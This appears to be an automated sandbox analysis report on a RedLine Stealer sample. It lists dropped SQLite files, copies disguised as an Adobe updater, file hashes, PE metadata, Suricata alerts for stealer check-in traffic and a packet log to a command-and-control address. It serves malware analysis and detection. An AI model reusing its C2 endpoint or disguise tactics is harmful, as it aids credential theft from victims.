Preview:	UQMPCTZARJFQTUFASTDSOZFLYRXCRKHVOJHYEKAKSJUWEVRKEEHCHPKWPEGNZIZTDIXUBUAFKBDOCCZIPOHGRBVURECWKRUQUOUYFYIUMHCIFKYDLKRSLRMQSZCCHCQTYCAJBIWSRLGLFHPRYQXSMIWVCULYKJGGGJCNVKWJYGBFHMFJLGDWHEBLVQELUPFAEDLGWLIYRFVOLPSGBOOWXATLCJBFUWTROEMRAMGOVEQKCNJFPARYQODRQVWJREDFQAVFXAXQUOFYBKAVYLFWLISVPMAMBKXYNIIHLYGICEPIHLCYULQSUQZMQKWUNRLOBKCTUXYPCLEGWBFUUBSLTLMIAZTIZRCKCPGPOVEVGCNQALQWJUZEWEADOUEECTWCPQBABNXRHBMDCYFWKNTJULTLPELWGANIENXFHRZEDIRITPFUKUVDJJESKDCFVNLQNVDGTOJWCJOOMJDRVLILHRTYJGMUSKTYLJBJFFGYGHLNSJODHZPIYPTJXFEFSYAIBKVTHVGOHNGUYSJLROXGPTNXNEWDYRXSJKDLQCESKVDPTEPJXQSQOGVLGWSHODSNVEQXEBIBZBQDZCRLBLSLYYTZYPCEUWJBUFRIBPYBIJXURCOFBVAMUHYFLJNDCOVIRXBJWRKSMZCWZGUZGAKJMWNQZHQWDXQHBUSCRBGZJEEYRZKNPKEDMWSRIUSWEVSCEYMGSRPFIWGTSTAGTIZVOURKQAHNNKNZFCYOYDNXQRFUDYBZZQRBAIHULYWRSSDCNGYITPPSJJVESDGBSDCPARCPYYFLZFKGRVGMHERPXKDGRXBVCFAMWFQLPZRHVNCIGTHLJYYNMXFTWOKFUGHHVLMJIAPDXBPZWJQADSYARMTUGFGYSOWKFOWTTHRMVDZYEOBJOMCEBCNXURWARWUVMREPQLASVZYXMGMQSSAZYVJXBROVGKGAVIGJWDLFJTASGHWAVHMWWBTHBBULSSCYTUPRYPVAEMBCREUGEJPA

C:\Users\user\AppData\Local\Temp\tmpF6BF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF6D0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF6F0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF701.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF721.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF8D1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF8F1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF911.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF92B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF932.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF93C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe

Download File

Process:	C:\Users\user\Desktop\6RE1Z857ae.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	4.876470488603193
Encrypted:	false
SSDEEP:	96:/XE4Ok4l62wHEdMzsxPcVLpePDX6kNjNMhZrDXrFcAFrikDriSprimri4zNt:/XEdhvNlc526iNMhZrD7RFlLppN
MD5:	3A1085797CA3089008CB2B51D2FCDC84
SHA1:	F5EA90EC6AD07F137C058EF2874DBD3A1B444F95
SHA-256:	8FC221B7C8E3F52F22841C866CF0D842F2A1266E79B472273766CE1704474499
SHA-512:	5E1CF172F3AD81C6BDC5BB3E75743A5A7AC4D4250012112888707A334F3336BA43B5AA71D4CF67F6AA3F8207E21460AA13D06524241E6D0FF9E4D9E7C05F0EAC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Joe Sandbox View:	Filename: r3DGQXicwA.exe, Detection: malicious, Browse Filename: r3DGQXicwA.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b..g............................n1... ...@....@.. ....................................`................................. 1..K....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P1......H.......t#...............................................................(......(....6.\|.....(!...B(....u....(......0../.........(....}.......}......\|......(...+..\|....(......0..:........{......9......}......:......9.....s....}......9E....{....r...po....o.......(....:?.....%.}......}.....\|.......(...+......{......\|............%.}......(.......}...........<.....{....9.....{....o.......}.........&......{....97........&......{......#........}......}.....\|......(...........

C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\6RE1Z857ae.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Yftssfzf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Plain_Checker.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	7168
Entropy (8bit):	4.81659462912491
Encrypted:	false
SSDEEP:	96:EXE4Oke6Ge6zTp7r10pJPwvONjNbmqpmcWmeI76OqzNt:EXEdPzTp7qsvINbmqp8JI7dM
MD5:	C3F3579FAF5ABFC023F4E282CFF43313
SHA1:	9AD2F1CC766B02B1F7E85D4024969C3079950D6A
SHA-256:	49B47081F5F4A706CD3B70421094B9DDF59A6C18FCBD177D5F6565FC14514EA1
SHA-512:	427C9CA6F2E78C5FD98E6EC4BD8DAF916CA46290E8E1CDF935657BD1BD4EA8273C9CD4EE91BBB5176EE06ABCED7D238622DC697E2CB575041C515585F4072B00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...G..g............................^1... ...@....@.. ....................................`..................................1..O....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@1......H.......t#...............................................................(......(....6.\|.....(!...B(....u....(......0../.........(....}.......}......\|......(...+..\|....(......0..:........{......9......}......:......9.....s....}......9E....{....r...po....o.......(....:?.....%.}......}.....\|.......(...+......{......\|............%.}......(.......}...........<.....{....9.....{....o.......}.........&......{....97........&......{......#........}......}.....\|......(...........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.876470488603193
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	6RE1Z857ae.exe
File size:	7'168 bytes
MD5:	3a1085797ca3089008cb2b51d2fcdc84
SHA1:	f5ea90ec6ad07f137c058ef2874dbd3a1b444f95
SHA256:	8fc221b7c8e3f52f22841c866cf0d842f2a1266e79b472273766ce1704474499
SHA512:	5e1cf172f3ad81c6bdc5bb3e75743a5a7ac4d4250012112888707a334f3336ba43b5aa71d4cf67f6aa3f8207e21460aa13d06524241e6d0ff9e4d9e7c05f0eac
SSDEEP:	96:/XE4Ok4l62wHEdMzsxPcVLpePDX6kNjNMhZrDXrFcAFrikDriSprimri4zNt:/XEdhvNlc526iNMhZrD7RFlLppN
TLSH:	00E1D814D7E8523BEE7B1BB99C7757400A74F761DA039F2E38842147AC12B450A637B9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b..g............................n1... ...@....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40316e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x670C9E62 [Mon Oct 14 04:30:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3120	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x5f6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1174	0x1200	ebe49d917be68378e4e3afaae33e6709	False	0.5661892361111112	data	5.493760682817747	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x5f6	0x600	c7e97fee07a7daa834d99128519c03ff	False	0.4251302083333333	data	4.213053786554175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	b18caa50e3fc1c7b4f08a9f75c4d4b78	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x40a0	0x36c	data			0.4052511415525114
RT_MANIFEST	0x440c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-15T19:22:11.025738+0200	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.5	49706	87.120.127.223	42128	TCP
2024-10-15T19:22:16.304542+0200	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	87.120.127.223	42128	192.168.2.5	49706	TCP
2024-10-15T19:22:16.902445+0200	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.5	49706	87.120.127.223	42128	TCP
2024-10-15T19:22:16.902502+0200	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	87.120.127.223	42128	192.168.2.5	49706	TCP
2024-10-15T19:22:21.670247+0200	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	87.120.127.223	42128	192.168.2.5	49706	TCP
2024-10-15T19:22:22.079303+0200	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.5	49735	87.120.127.223	42128	TCP
2024-10-15T19:22:37.010035+0200	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.5	49809	87.120.127.223	42128	TCP
2024-10-15T19:22:42.159957+0200	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	87.120.127.223	42128	192.168.2.5	49809	TCP
2024-10-15T19:22:42.489193+0200	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.5	49809	87.120.127.223	42128	TCP
2024-10-15T19:22:46.863740+0200	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	87.120.127.223	42128	192.168.2.5	49809	TCP
2024-10-15T19:22:46.920598+0200	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.5	49867	87.120.127.223	42128	TCP
2024-10-15T19:22:49.025980+0200	2848200	ETPRO MALWARE RedLine - GetUpdates Request	1	192.168.2.5	49877	87.120.127.223	42128	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 15, 2024 19:22:01.139024019 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:01.575355053 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:01.575443029 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:01.576229095 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:01.581049919 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569570065 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569586039 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569605112 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569624901 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569636106 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569654942 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:02.569714069 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:02.569717884 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569729090 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569761992 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:02.569761038 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569804907 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:02.569936991 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569947004 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.569983959 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:02.574542046 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.574554920 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.574605942 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.574630022 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:02.619374037 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:02.701896906 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.702754974 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.702832937 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.702841997 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.702949047 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.702964067 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.702989101 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:02.703031063 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:02.703031063 CEST	49704	80	192.168.2.5	87.120.127.223
